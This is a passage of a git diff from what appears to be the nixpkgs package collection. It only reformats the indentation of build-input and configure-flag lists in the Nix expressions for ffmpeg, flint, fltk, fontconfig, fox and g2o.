@@ -44,19 +44,18 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      glib
-    ]
-    ++ lib.optionals withHunspell [
-      hunspell
-    ]
-    ++ lib.optionals withNuspell [
-      nuspell
-    ]
-    ++ lib.optionals withVoikko [
-      libvoikko
-    ];
+  buildInputs = [
+    glib
+  ]
+  ++ lib.optionals withHunspell [
+    hunspell
+  ]
+  ++ lib.optionals withNuspell [
+    nuspell
+  ]
+  ++ lib.optionals withVoikko [
+    libvoikko
+  ];
 
   checkInputs = [
     unittest-cpp
diff --git a/pkgs/development/libraries/ffmpeg/generic.nix b/pkgs/development/libraries/ffmpeg/generic.nix
index fd5b46846952..ec97ae810326 100644
--- a/pkgs/development/libraries/ffmpeg/generic.nix
+++ b/pkgs/development/libraries/ffmpeg/generic.nix
@@ -416,16 +416,15 @@ stdenv.mkDerivation (
     inherit version;
     src = source;
 
-    postPatch =
-      ''
-        patchShebangs .
-      ''
-      + lib.optionalString withFrei0r ''
-        substituteInPlace libavfilter/vf_frei0r.c \
-          --replace /usr/local/lib/frei0r-1 ${frei0r}/lib/frei0r-1
-        substituteInPlace doc/filters.texi \
-          --replace /usr/local/lib/frei0r-1 ${frei0r}/lib/frei0r-1
-      '';
+    postPatch = ''
+      patchShebangs .
+    ''
+    + lib.optionalString withFrei0r ''
+      substituteInPlace libavfilter/vf_frei0r.c \
+        --replace /usr/local/lib/frei0r-1 ${frei0r}/lib/frei0r-1
+      substituteInPlace doc/filters.texi \
+        --replace /usr/local/lib/frei0r-1 ${frei0r}/lib/frei0r-1
+    '';
 
     patches =
       [ ]
@@ -501,270 +500,269 @@ stdenv.mkDerivation (
 
     configurePlatforms = [ ];
     setOutputFlags = false; # Only accepts some of them
-    configureFlags =
-      [
-        #mingw64 is internally treated as mingw32, so 32 and 64 make no difference here
-        "--target_os=${
-          if stdenv.hostPlatform.isMinGW then "mingw64" else stdenv.hostPlatform.parsed.kernel.name
-        }"
-        "--arch=${stdenv.hostPlatform.parsed.cpu.name}"
-        "--pkg-config=${buildPackages.pkg-config.targetPrefix}pkg-config"
-        # Licensing flags
-        (enableFeature withGPL "gpl")
-        (enableFeature withVersion3 "version3")
-        (enableFeature withUnfree "nonfree")
-        # Build flags
-        (enableFeature withStatic "static")
-        (enableFeature withShared "shared")
-        (enableFeature withPic "pic")
-        (enableFeature withThumb "thumb")
+    configureFlags = [
+      #mingw64 is internally treated as mingw32, so 32 and 64 make no difference here
+      "--target_os=${
+        if stdenv.hostPlatform.isMinGW then "mingw64" else stdenv.hostPlatform.parsed.kernel.name
+      }"
+      "--arch=${stdenv.hostPlatform.parsed.cpu.name}"
+      "--pkg-config=${buildPackages.pkg-config.targetPrefix}pkg-config"
+      # Licensing flags
+      (enableFeature withGPL "gpl")
+      (enableFeature withVersion3 "version3")
+      (enableFeature withUnfree "nonfree")
+      # Build flags
+      (enableFeature withStatic "static")
+      (enableFeature withShared "shared")
+      (enableFeature withPic "pic")
+      (enableFeature withThumb "thumb")
 
-        (enableFeature withSmallBuild "small")
-        (enableFeature withRuntimeCPUDetection "runtime-cpudetect")
-        (enableFeature withGrayscale "gray")
-        (enableFeature withSwscaleAlpha "swscale-alpha")
-        (enableFeature withHardcodedTables "hardcoded-tables")
-        (enableFeature withSafeBitstreamReader "safe-bitstream-reader")
+      (enableFeature withSmallBuild "small")
+      (enableFeature withRuntimeCPUDetection "runtime-cpudetect")
+      (enableFeature withGrayscale "gray")
+      (enableFeature withSwscaleAlpha "swscale-alpha")
+      (enableFeature withHardcodedTables "hardcoded-tables")
+      (enableFeature withSafeBitstreamReader "safe-bitstream-reader")
 
-        (enableFeature (withMultithread && stdenv.hostPlatform.isUnix) "pthreads")
-        (enableFeature (withMultithread && stdenv.hostPlatform.isWindows) "w32threads")
-        "--disable-os2threads" # We don't support OS/2
+      (enableFeature (withMultithread && stdenv.hostPlatform.isUnix) "pthreads")
+      (enableFeature (withMultithread && stdenv.hostPlatform.isWindows) "w32threads")
+      "--disable-os2threads" # We don't support OS/2
 
-        (enableFeature withNetwork "network")
-        (enableFeature withPixelutils "pixelutils")
+      (enableFeature withNetwork "network")
+      (enableFeature withPixelutils "pixelutils")
 
-        "--datadir=${placeholder "data"}/share/ffmpeg"
+      "--datadir=${placeholder "data"}/share/ffmpeg"
 
-        # Program flags
-        (enableFeature buildFfmpeg "ffmpeg")
-        (enableFeature buildFfplay "ffplay")
-        (enableFeature buildFfprobe "ffprobe")
-      ]
-      ++ optionals withBin [
-        "--bindir=${placeholder "bin"}/bin"
-      ]
-      ++ [
-        # Library flags
-        (enableFeature buildAvcodec "avcodec")
-        (enableFeature buildAvdevice "avdevice")
-        (enableFeature buildAvfilter "avfilter")
-        (enableFeature buildAvformat "avformat")
-      ]
-      ++ optionals (lib.versionOlder version "5") [
-        # Ffmpeg > 4 doesn't know about the flag anymore
-        (enableFeature buildAvresample "avresample")
-      ]
-      ++ [
-        (enableFeature buildAvutil "avutil")
-        (enableFeature (buildPostproc && withGPL) "postproc")
-        (enableFeature buildSwresample "swresample")
-        (enableFeature buildSwscale "swscale")
-      ]
-      ++ optionals withLib [
-        "--libdir=${placeholder "lib"}/lib"
-        "--incdir=${placeholder "dev"}/include"
-      ]
-      ++ [
-        # Documentation flags
-        (enableFeature withDocumentation "doc")
-        (enableFeature withHtmlDoc "htmlpages")
-        (enableFeature withManPages "manpages")
-      ]
-      ++ optionals withManPages [
-        "--mandir=${placeholder "man"}/share/man"
-      ]
-      ++ [
-        (enableFeature withPodDoc "podpages")
-        (enableFeature withTxtDoc "txtpages")
-      ]
-      ++ optionals withDoc [
-        "--docdir=${placeholder "doc"}/share/doc/ffmpeg"
-      ]
-      ++ [
-        # External libraries
-        (enableFeature withAlsa "alsa")
-        (enableFeature withAmf "amf")
-        (enableFeature withAom "libaom")
-        (enableFeature withAribb24 "libaribb24")
-      ]
-      ++ optionals (versionAtLeast version "6.1") [
-        (enableFeature withAribcaption "libaribcaption")
-      ]
-      ++ [
-        (enableFeature withAss "libass")
-        (enableFeature withAvisynth "avisynth")
-        (enableFeature withBluray "libbluray")
-        (enableFeature withBs2b "libbs2b")
-        (enableFeature withBzlib "bzlib")
-        (enableFeature withCaca "libcaca")
-        (enableFeature withCdio "libcdio")
-        (enableFeature withCelt "libcelt")
-        (enableFeature withChromaprint "chromaprint")
-        (enableFeature withCodec2 "libcodec2")
-        (enableFeature withCuda "cuda")
-        (enableFeature withCudaLLVM "cuda-llvm")
-        (enableFeature withCudaNVCC "cuda-nvcc")
-        (enableFeature withCuvid "cuvid")
-        (enableFeature withDav1d "libdav1d")
-        (enableFeature withDc1394 "libdc1394")
-        (enableFeature withDrm "libdrm")
-      ]
-      ++ optionals (versionAtLeast version "7") [
-        (enableFeature withDvdnav "libdvdnav")
-        (enableFeature withDvdread "libdvdread")
-      ]
-      ++ [
-        (enableFeature withFdkAac "libfdk-aac")
-        (enableFeature withNvcodec "ffnvcodec")
-        (enableFeature withFlite "libflite")
-        (enableFeature withFontconfig "fontconfig")
-        (enableFeature withFontconfig "libfontconfig")
-        (enableFeature withFreetype "libfreetype")
-        (enableFeature withFrei0r "frei0r")
-        (enableFeature withFribidi "libfribidi")
-        (enableFeature withGme "libgme")
-        (enableFeature withGnutls "gnutls")
-        (enableFeature withGsm "libgsm")
-      ]
-      ++ optionals (versionAtLeast version "6.1") [
-        (enableFeature withHarfbuzz "libharfbuzz")
-      ]
-      ++ [
-        (enableFeature withIconv "iconv")
-        (enableFeature withIlbc "libilbc")
-        (enableFeature withJack "libjack")
-      ]
-      ++ optionals (versionAtLeast finalAttrs.version "5.0") [
-        (enableFeature withJxl "libjxl")
-      ]
-      ++ [
-        (enableFeature withKvazaar "libkvazaar")
-        (enableFeature withLadspa "ladspa")
-      ]
-      ++ optionals (versionAtLeast version "7.1") [
-        (enableFeature withLc3 "liblc3")
-        (enableFeature withLcevcdec "liblcevc-dec")
-      ]
-      ++ optionals (versionAtLeast version "5.1") [
-        (enableFeature withLcms2 "lcms2")
-      ]
-      ++ [
-        (enableFeature withLzma "lzma")
-      ]
-      ++ optionals (versionAtLeast version "5.0") [
-        (enableFeature withMetal "metal")
-      ]
-      ++ [
-        (enableFeature withMfx "libmfx")
-        (enableFeature withModplug "libmodplug")
-        (enableFeature withMp3lame "libmp3lame")
-        (enableFeature withMysofa "libmysofa")
-        (enableFeature withNpp "libnpp")
-        (enableFeature withNvdec "nvdec")
-        (enableFeature withNvenc "nvenc")
-        (enableFeature withOpenal "openal")
-        (enableFeature withOpencl "opencl")
-        (enableFeature withOpencoreAmrnb "libopencore-amrnb")
-        (enableFeature withOpencoreAmrwb "libopencore-amrwb")
-        (enableFeature withOpengl "opengl")
-        (enableFeature withOpenh264 "libopenh264")
-        (enableFeature withOpenjpeg "libopenjpeg")
-        (enableFeature withOpenmpt "libopenmpt")
-        (enableFeature withOpus "libopus")
-      ]
-      ++ optionals (versionAtLeast version "5.0") [
-        (enableFeature withPlacebo "libplacebo")
-      ]
-      ++ [
-        (enableFeature withPulse "libpulse")
-      ]
-      ++ optionals (versionAtLeast version "7") [
-        (enableFeature withQrencode "libqrencode")
-        (enableFeature withQuirc "libquirc")
-      ]
-      ++ [
-        (enableFeature withRav1e "librav1e")
-        (enableFeature withRist "librist")
-        (enableFeature withRtmp "librtmp")
-        (enableFeature withRubberband "librubberband")
-        (enableFeature withSamba "libsmbclient")
-        (enableFeature withSdl2 "sdl2")
-      ]
-      ++ optionals (versionAtLeast version "5.0") [
-        (enableFeature withShaderc "libshaderc")
-      ]
-      ++ [
-        (enableFeature withShine "libshine")
-        (enableFeature withSnappy "libsnappy")
-        (enableFeature withSoxr "libsoxr")
-        (enableFeature withSpeex "libspeex")
-        (enableFeature withSrt "libsrt")
-        (enableFeature withSsh "libssh")
-        (enableFeature withSvg "librsvg")
-        (enableFeature withSvtav1 "libsvtav1")
-        (enableFeature withTensorflow "libtensorflow")
-        (enableFeature withTheora "libtheora")
-        (enableFeature withTwolame "libtwolame")
-        (enableFeature withV4l2 "libv4l2")
-        (enableFeature withV4l2M2m "v4l2-m2m")
-        (enableFeature withVaapi "vaapi")
-        (enableFeature withVdpau "vdpau")
-      ]
-      ++ optionals (versionAtLeast version "6.0") [
-        (enableFeature withVpl "libvpl")
-      ]
-      ++ [
-        (enableFeature withVidStab "libvidstab") # Actual min. version 2.0
-        (enableFeature withVmaf "libvmaf")
-        (enableFeature withVoAmrwbenc "libvo-amrwbenc")
-        (enableFeature withVorbis "libvorbis")
-        (enableFeature withVpx "libvpx")
-        (enableFeature withVulkan "vulkan")
-      ]
-      ++ optionals (versionAtLeast version "7.1") [
-        (enableFeature withVvenc "libvvenc")
-      ]
-      ++ [
-        (enableFeature withWebp "libwebp")
-        (enableFeature withX264 "libx264")
-        (enableFeature withX265 "libx265")
-        (enableFeature withXavs "libxavs")
-        (enableFeature withXcb "libxcb")
-        (enableFeature withXcbShape "libxcb-shape")
-        (enableFeature withXcbShm "libxcb-shm")
-        (enableFeature withXcbxfixes "libxcb-xfixes")
-      ]
-      ++ optionals (versionAtLeast version "7") [
-        (enableFeature withXevd "libxevd")
-        (enableFeature withXeve "libxeve")
-      ]
-      ++ [
-        (enableFeature withXlib "xlib")
-        (enableFeature withXml2 "libxml2")
-        (enableFeature withXvid "libxvid")
-        (enableFeature withZimg "libzimg")
-        (enableFeature withZlib "zlib")
-        (enableFeature withZmq "libzmq")
-        (enableFeature withZvbi "libzvbi")
-        # Developer flags
-        (enableFeature withDebug "debug")
-        (enableFeature withOptimisations "optimizations")
-        (enableFeature withExtraWarnings "extra-warnings")
-        (enableFeature withStripping "stripping")
-      ]
-      ++ optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-        "--cross-prefix=${stdenv.cc.targetPrefix}"
-        "--enable-cross-compile"
-        "--host-cc=${buildPackages.stdenv.cc}/bin/cc"
-      ]
-      ++ optionals stdenv.cc.isClang [
-        "--cc=${stdenv.cc.targetPrefix}clang"
-        "--cxx=${stdenv.cc.targetPrefix}clang++"
-      ]
-      ++ optionals withMetal [
-        "--metalcc=${xcode}/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/metal"
-        "--metallib=${xcode}/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/metallib"
-      ];
+      # Program flags
+      (enableFeature buildFfmpeg "ffmpeg")
+      (enableFeature buildFfplay "ffplay")
+      (enableFeature buildFfprobe "ffprobe")
+    ]
+    ++ optionals withBin [
+      "--bindir=${placeholder "bin"}/bin"
+    ]
+    ++ [
+      # Library flags
+      (enableFeature buildAvcodec "avcodec")
+      (enableFeature buildAvdevice "avdevice")
+      (enableFeature buildAvfilter "avfilter")
+      (enableFeature buildAvformat "avformat")
+    ]
+    ++ optionals (lib.versionOlder version "5") [
+      # Ffmpeg > 4 doesn't know about the flag anymore
+      (enableFeature buildAvresample "avresample")
+    ]
+    ++ [
+      (enableFeature buildAvutil "avutil")
+      (enableFeature (buildPostproc && withGPL) "postproc")
+      (enableFeature buildSwresample "swresample")
+      (enableFeature buildSwscale "swscale")
+    ]
+    ++ optionals withLib [
+      "--libdir=${placeholder "lib"}/lib"
+      "--incdir=${placeholder "dev"}/include"
+    ]
+    ++ [
+      # Documentation flags
+      (enableFeature withDocumentation "doc")
+      (enableFeature withHtmlDoc "htmlpages")
+      (enableFeature withManPages "manpages")
+    ]
+    ++ optionals withManPages [
+      "--mandir=${placeholder "man"}/share/man"
+    ]
+    ++ [
+      (enableFeature withPodDoc "podpages")
+      (enableFeature withTxtDoc "txtpages")
+    ]
+    ++ optionals withDoc [
+      "--docdir=${placeholder "doc"}/share/doc/ffmpeg"
+    ]
+    ++ [
+      # External libraries
+      (enableFeature withAlsa "alsa")
+      (enableFeature withAmf "amf")
+      (enableFeature withAom "libaom")
+      (enableFeature withAribb24 "libaribb24")
+    ]
+    ++ optionals (versionAtLeast version "6.1") [
+      (enableFeature withAribcaption "libaribcaption")
+    ]
+    ++ [
+      (enableFeature withAss "libass")
+      (enableFeature withAvisynth "avisynth")
+      (enableFeature withBluray "libbluray")
+      (enableFeature withBs2b "libbs2b")
+      (enableFeature withBzlib "bzlib")
+      (enableFeature withCaca "libcaca")
+      (enableFeature withCdio "libcdio")
+      (enableFeature withCelt "libcelt")
+      (enableFeature withChromaprint "chromaprint")
+      (enableFeature withCodec2 "libcodec2")
+      (enableFeature withCuda "cuda")
+      (enableFeature withCudaLLVM "cuda-llvm")
+      (enableFeature withCudaNVCC "cuda-nvcc")
+      (enableFeature withCuvid "cuvid")
+      (enableFeature withDav1d "libdav1d")
+      (enableFeature withDc1394 "libdc1394")
+      (enableFeature withDrm "libdrm")
+    ]
+    ++ optionals (versionAtLeast version "7") [
+      (enableFeature withDvdnav "libdvdnav")
+      (enableFeature withDvdread "libdvdread")
+    ]
+    ++ [
+      (enableFeature withFdkAac "libfdk-aac")
+      (enableFeature withNvcodec "ffnvcodec")
+      (enableFeature withFlite "libflite")
+      (enableFeature withFontconfig "fontconfig")
+      (enableFeature withFontconfig "libfontconfig")
+      (enableFeature withFreetype "libfreetype")
+      (enableFeature withFrei0r "frei0r")
+      (enableFeature withFribidi "libfribidi")
+      (enableFeature withGme "libgme")
+      (enableFeature withGnutls "gnutls")
+      (enableFeature withGsm "libgsm")
+    ]
+    ++ optionals (versionAtLeast version "6.1") [
+      (enableFeature withHarfbuzz "libharfbuzz")
+    ]
+    ++ [
+      (enableFeature withIconv "iconv")
+      (enableFeature withIlbc "libilbc")
+      (enableFeature withJack "libjack")
+    ]
+    ++ optionals (versionAtLeast finalAttrs.version "5.0") [
+      (enableFeature withJxl "libjxl")
+    ]
+    ++ [
+      (enableFeature withKvazaar "libkvazaar")
+      (enableFeature withLadspa "ladspa")
+    ]
+    ++ optionals (versionAtLeast version "7.1") [
+      (enableFeature withLc3 "liblc3")
+      (enableFeature withLcevcdec "liblcevc-dec")
+    ]
+    ++ optionals (versionAtLeast version "5.1") [
+      (enableFeature withLcms2 "lcms2")
+    ]
+    ++ [
+      (enableFeature withLzma "lzma")
+    ]
+    ++ optionals (versionAtLeast version "5.0") [
+      (enableFeature withMetal "metal")
+    ]
+    ++ [
+      (enableFeature withMfx "libmfx")
+      (enableFeature withModplug "libmodplug")
+      (enableFeature withMp3lame "libmp3lame")
+      (enableFeature withMysofa "libmysofa")
+      (enableFeature withNpp "libnpp")
+      (enableFeature withNvdec "nvdec")
+      (enableFeature withNvenc "nvenc")
+      (enableFeature withOpenal "openal")
+      (enableFeature withOpencl "opencl")
+      (enableFeature withOpencoreAmrnb "libopencore-amrnb")
+      (enableFeature withOpencoreAmrwb "libopencore-amrwb")
+      (enableFeature withOpengl "opengl")
+      (enableFeature withOpenh264 "libopenh264")
+      (enableFeature withOpenjpeg "libopenjpeg")
+      (enableFeature withOpenmpt "libopenmpt")
+      (enableFeature withOpus "libopus")
+    ]
+    ++ optionals (versionAtLeast version "5.0") [
+      (enableFeature withPlacebo "libplacebo")
+    ]
+    ++ [
+      (enableFeature withPulse "libpulse")
+    ]
+    ++ optionals (versionAtLeast version "7") [
+      (enableFeature withQrencode "libqrencode")
+      (enableFeature withQuirc "libquirc")
+    ]
+    ++ [
+      (enableFeature withRav1e "librav1e")
+      (enableFeature withRist "librist")
+      (enableFeature withRtmp "librtmp")
+      (enableFeature withRubberband "librubberband")
+      (enableFeature withSamba "libsmbclient")
+      (enableFeature withSdl2 "sdl2")
+    ]
+    ++ optionals (versionAtLeast version "5.0") [
+      (enableFeature withShaderc "libshaderc")
+    ]
+    ++ [
+      (enableFeature withShine "libshine")
+      (enableFeature withSnappy "libsnappy")
+      (enableFeature withSoxr "libsoxr")
+      (enableFeature withSpeex "libspeex")
+      (enableFeature withSrt "libsrt")
+      (enableFeature withSsh "libssh")
+      (enableFeature withSvg "librsvg")
+      (enableFeature withSvtav1 "libsvtav1")
+      (enableFeature withTensorflow "libtensorflow")
+      (enableFeature withTheora "libtheora")
+      (enableFeature withTwolame "libtwolame")
+      (enableFeature withV4l2 "libv4l2")
+      (enableFeature withV4l2M2m "v4l2-m2m")
+      (enableFeature withVaapi "vaapi")
+      (enableFeature withVdpau "vdpau")
+    ]
+    ++ optionals (versionAtLeast version "6.0") [
+      (enableFeature withVpl "libvpl")
+    ]
+    ++ [
+      (enableFeature withVidStab "libvidstab") # Actual min. version 2.0
+      (enableFeature withVmaf "libvmaf")
+      (enableFeature withVoAmrwbenc "libvo-amrwbenc")
+      (enableFeature withVorbis "libvorbis")
+      (enableFeature withVpx "libvpx")
+      (enableFeature withVulkan "vulkan")
+    ]
+    ++ optionals (versionAtLeast version "7.1") [
+      (enableFeature withVvenc "libvvenc")
+    ]
+    ++ [
+      (enableFeature withWebp "libwebp")
+      (enableFeature withX264 "libx264")
+      (enableFeature withX265 "libx265")
+      (enableFeature withXavs "libxavs")
+      (enableFeature withXcb "libxcb")
+      (enableFeature withXcbShape "libxcb-shape")
+      (enableFeature withXcbShm "libxcb-shm")
+      (enableFeature withXcbxfixes "libxcb-xfixes")
+    ]
+    ++ optionals (versionAtLeast version "7") [
+      (enableFeature withXevd "libxevd")
+      (enableFeature withXeve "libxeve")
+    ]
+    ++ [
+      (enableFeature withXlib "xlib")
+      (enableFeature withXml2 "libxml2")
+      (enableFeature withXvid "libxvid")
+      (enableFeature withZimg "libzimg")
+      (enableFeature withZlib "zlib")
+      (enableFeature withZmq "libzmq")
+      (enableFeature withZvbi "libzvbi")
+      # Developer flags
+      (enableFeature withDebug "debug")
+      (enableFeature withOptimisations "optimizations")
+      (enableFeature withExtraWarnings "extra-warnings")
+      (enableFeature withStripping "stripping")
+    ]
+    ++ optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+      "--cross-prefix=${stdenv.cc.targetPrefix}"
+      "--enable-cross-compile"
+      "--host-cc=${buildPackages.stdenv.cc}/bin/cc"
+    ]
+    ++ optionals stdenv.cc.isClang [
+      "--cc=${stdenv.cc.targetPrefix}clang"
+      "--cxx=${stdenv.cc.targetPrefix}clang++"
+    ]
+    ++ optionals withMetal [
+      "--metalcc=${xcode}/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/metal"
+      "--metallib=${xcode}/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/metallib"
+    ];
 
     # ffmpeg embeds the configureFlags verbatim in its binaries and because we
     # configure binary, include, library dir etc., this causes references in
@@ -781,18 +779,17 @@ stdenv.mkDerivation (
 
     strictDeps = true;
 
-    nativeBuildInputs =
-      [
-        removeReferencesTo
-        addDriverRunpath
-        perl
-        pkg-config
-        yasm
-      ]
-      # Texinfo version 7.1 introduced breaking changes, which older versions of ffmpeg do not handle.
-      ++ (if versionOlder version "5" then [ texinfo6 ] else [ texinfo ])
-      ++ optionals withCudaLLVM [ clang ]
-      ++ optionals withCudaNVCC [ cuda_nvcc ];
+    nativeBuildInputs = [
+      removeReferencesTo
+      addDriverRunpath
+      perl
+      pkg-config
+      yasm
+    ]
+    # Texinfo version 7.1 introduced breaking changes, which older versions of ffmpeg do not handle.
+    ++ (if versionOlder version "5" then [ texinfo6 ] else [ texinfo ])
+    ++ optionals withCudaLLVM [ clang ]
+    ++ optionals withCudaNVCC [ cuda_nvcc ];
 
     buildInputs =
       [ ]
diff --git a/pkgs/development/libraries/flint/3.nix b/pkgs/development/libraries/flint/3.nix
index 2c1b5fc9b3dc..297a04af11c7 100644
--- a/pkgs/development/libraries/flint/3.nix
+++ b/pkgs/development/libraries/flint/3.nix
@@ -40,16 +40,15 @@ stdenv.mkDerivation rec {
     mpfr
   ];
 
-  buildInputs =
-    [
-      gmp
-    ]
-    ++ lib.optionals withBlas [
-      openblas
-    ]
-    ++ lib.optionals withNtl [
-      ntl
-    ];
+  buildInputs = [
+    gmp
+  ]
+  ++ lib.optionals withBlas [
+    openblas
+  ]
+  ++ lib.optionals withNtl [
+    ntl
+  ];
 
   # We're not using autoreconfHook because flint's bootstrap
   # script calls autoreconf, among other things.
@@ -58,17 +57,16 @@ stdenv.mkDerivation rec {
     ./bootstrap.sh
   '';
 
-  configureFlags =
-    [
-      "--with-gmp=${gmp}"
-      "--with-mpfr=${mpfr}"
-    ]
-    ++ lib.optionals withBlas [
-      "--with-blas=${openblas}"
-    ]
-    ++ lib.optionals withNtl [
-      "--with-ntl=${ntl}"
-    ];
+  configureFlags = [
+    "--with-gmp=${gmp}"
+    "--with-mpfr=${mpfr}"
+  ]
+  ++ lib.optionals withBlas [
+    "--with-blas=${openblas}"
+  ]
+  ++ lib.optionals withNtl [
+    "--with-ntl=${ntl}"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/development/libraries/fltk/common.nix b/pkgs/development/libraries/fltk/common.nix
index 6df8c0821963..4ec78559ca0c 100644
--- a/pkgs/development/libraries/fltk/common.nix
+++ b/pkgs/development/libraries/fltk/common.nix
@@ -68,15 +68,14 @@ stdenv.mkDerivation {
     patchShebangs documentation/make_*
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals withDocs [
-      doxygen
-      graphviz
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals withDocs [
+    doxygen
+    graphviz
+  ];
 
   buildInputs =
     lib.optionals (withGL && !stdenv.hostPlatform.isDarwin) [
@@ -90,28 +89,27 @@ stdenv.mkDerivation {
       fontconfig
     ];
 
-  propagatedBuildInputs =
-    [
-      zlib
-      libjpeg
-      libpng
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      freetype
-      libX11
-      libXext
-      libXinerama
-      libXfixes
-      libXcursor
-      libXft
-      libXrender
-    ]
-    ++ lib.optionals withCairo [
-      cairo
-    ]
-    ++ lib.optionals withPango [
-      pango
-    ];
+  propagatedBuildInputs = [
+    zlib
+    libjpeg
+    libpng
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    freetype
+    libX11
+    libXext
+    libXinerama
+    libXfixes
+    libXcursor
+    libXft
+    libXrender
+  ]
+  ++ lib.optionals withCairo [
+    cairo
+  ]
+  ++ lib.optionals withPango [
+    pango
+  ];
 
   cmakeFlags = [
     # Common
diff --git a/pkgs/development/libraries/fontconfig/default.nix b/pkgs/development/libraries/fontconfig/default.nix
index 59654edc479e..fd120f813dee 100644
--- a/pkgs/development/libraries/fontconfig/default.nix
+++ b/pkgs/development/libraries/fontconfig/default.nix
@@ -55,17 +55,16 @@ stdenv.mkDerivation (finalAttrs: {
     patchShebangs doc/check-whitespace-in-args.py
   '';
 
-  configureFlags =
-    [
-      "--sysconfdir=/etc"
-      "--with-arch=${stdenv.hostPlatform.parsed.cpu.name}"
-      "--with-cache-dir=/var/cache/fontconfig" # otherwise the fallback is in $out/
-      # just <1MB; this is what you get when loading config fails for some reason
-      "--with-default-fonts=${dejavu_fonts.minimal}"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "--with-arch=${stdenv.hostPlatform.parsed.cpu.name}"
-    ];
+  configureFlags = [
+    "--sysconfdir=/etc"
+    "--with-arch=${stdenv.hostPlatform.parsed.cpu.name}"
+    "--with-cache-dir=/var/cache/fontconfig" # otherwise the fallback is in $out/
+    # just <1MB; this is what you get when loading config fails for some reason
+    "--with-default-fonts=${dejavu_fonts.minimal}"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "--with-arch=${stdenv.hostPlatform.parsed.cpu.name}"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/development/libraries/fontconfig/make-fonts-conf.nix b/pkgs/development/libraries/fontconfig/make-fonts-conf.nix
index d88b07ef8af1..6717f0513924 100644
--- a/pkgs/development/libraries/fontconfig/make-fonts-conf.nix
+++ b/pkgs/development/libraries/fontconfig/make-fonts-conf.nix
@@ -14,28 +14,27 @@ in
   fontconfig ? fontconfig_,
   # an array of fonts, e.g. `[ pkgs.dejavu_fonts.minimal ]`
   fontDirectories,
-  impureFontDirectories ?
-    [
-      # nix user profile
-      "~/.nix-profile/lib/X11/fonts"
-      "~/.nix-profile/share/fonts"
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin "~/Library/Fonts"
-    ++ [
-      # FHS paths for non-NixOS platforms
-      "/usr/share/fonts"
-      "/usr/local/share/fonts"
-    ]
-    # darwin paths
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "/Library/Fonts"
-      "/System/Library/Fonts"
-    ]
-    # nix default profile
-    ++ [
-      "/nix/var/nix/profiles/default/lib/X11/fonts"
-      "/nix/var/nix/profiles/default/share/fonts"
-    ],
+  impureFontDirectories ? [
+    # nix user profile
+    "~/.nix-profile/lib/X11/fonts"
+    "~/.nix-profile/share/fonts"
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "~/Library/Fonts"
+  ++ [
+    # FHS paths for non-NixOS platforms
+    "/usr/share/fonts"
+    "/usr/local/share/fonts"
+  ]
+  # darwin paths
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "/Library/Fonts"
+    "/System/Library/Fonts"
+  ]
+  # nix default profile
+  ++ [
+    "/nix/var/nix/profiles/default/lib/X11/fonts"
+    "/nix/var/nix/profiles/default/share/fonts"
+  ],
 
   # to include custom config
   includes ? [ "/etc/fonts/conf.d" ],
diff --git a/pkgs/development/libraries/fox/default.nix b/pkgs/development/libraries/fox/default.nix
index 26ecbc9ed7fd..775144c0bd6b 100644
--- a/pkgs/development/libraries/fox/default.nix
+++ b/pkgs/development/libraries/fox/default.nix
@@ -24,22 +24,21 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-bu+IEqNkv9OAf96dPYre3CP759pjalVIbYyc3QSQW2w=";
   };
 
-  buildInputs =
-    [
-      libpng
-      libjpeg
-      libtiff
-      zlib
-      bzip2
-      mesa_glu
-      libXcursor
-      libXext
-      libXrandr
-      libXft
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cups
-    ];
+  buildInputs = [
+    libpng
+    libjpeg
+    libtiff
+    zlib
+    bzip2
+    mesa_glu
+    libXcursor
+    libXext
+    libXrandr
+    libXft
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cups
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/development/libraries/g2o/default.nix b/pkgs/development/libraries/g2o/default.nix
index 866e93051804..9f8b5da27f15 100644
--- a/pkgs/development/libraries/g2o/default.nix
+++ b/pkgs/development/libraries/g2o/default.nix
@@ -48,19 +48,18 @@ mkDerivation rec {
 
   dontWrapQtApps = true;
 
-  cmakeFlags =
-    [
-      # Detection script is broken
-      "-DQGLVIEWER_INCLUDE_DIR=${libqglviewer}/include/QGLViewer"
-      "-DG2O_BUILD_EXAMPLES=OFF"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isx86_64 [
-      "-DDO_SSE_AUTODETECT=OFF"
-      "-DDISABLE_SSE3=${if stdenv.hostPlatform.sse3Support then "OFF" else "ON"}"
-      "-DDISABLE_SSE4_1=${if stdenv.hostPlatform.sse4_1Support then "OFF" else "ON"}"
-      "-DDISABLE_SSE4_2=${if stdenv.hostPlatform.sse4_2Support then "OFF" else "ON"}"
-      "-DDISABLE_SSE4_A=${if stdenv.hostPlatform.sse4_aSupport then "OFF" else "ON"}"
-    ];
+  cmakeFlags = [
+    # Detection script is broken
+    "-DQGLVIEWER_INCLUDE_DIR=${libqglviewer}/include/QGLViewer"
+    "-DG2O_BUILD_EXAMPLES=OFF"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86_64 [
+    "-DDO_SSE_AUTODETECT=OFF"
+    "-DDISABLE_SSE3=${if stdenv.hostPlatform.sse3Support then "OFF" else "ON"}"
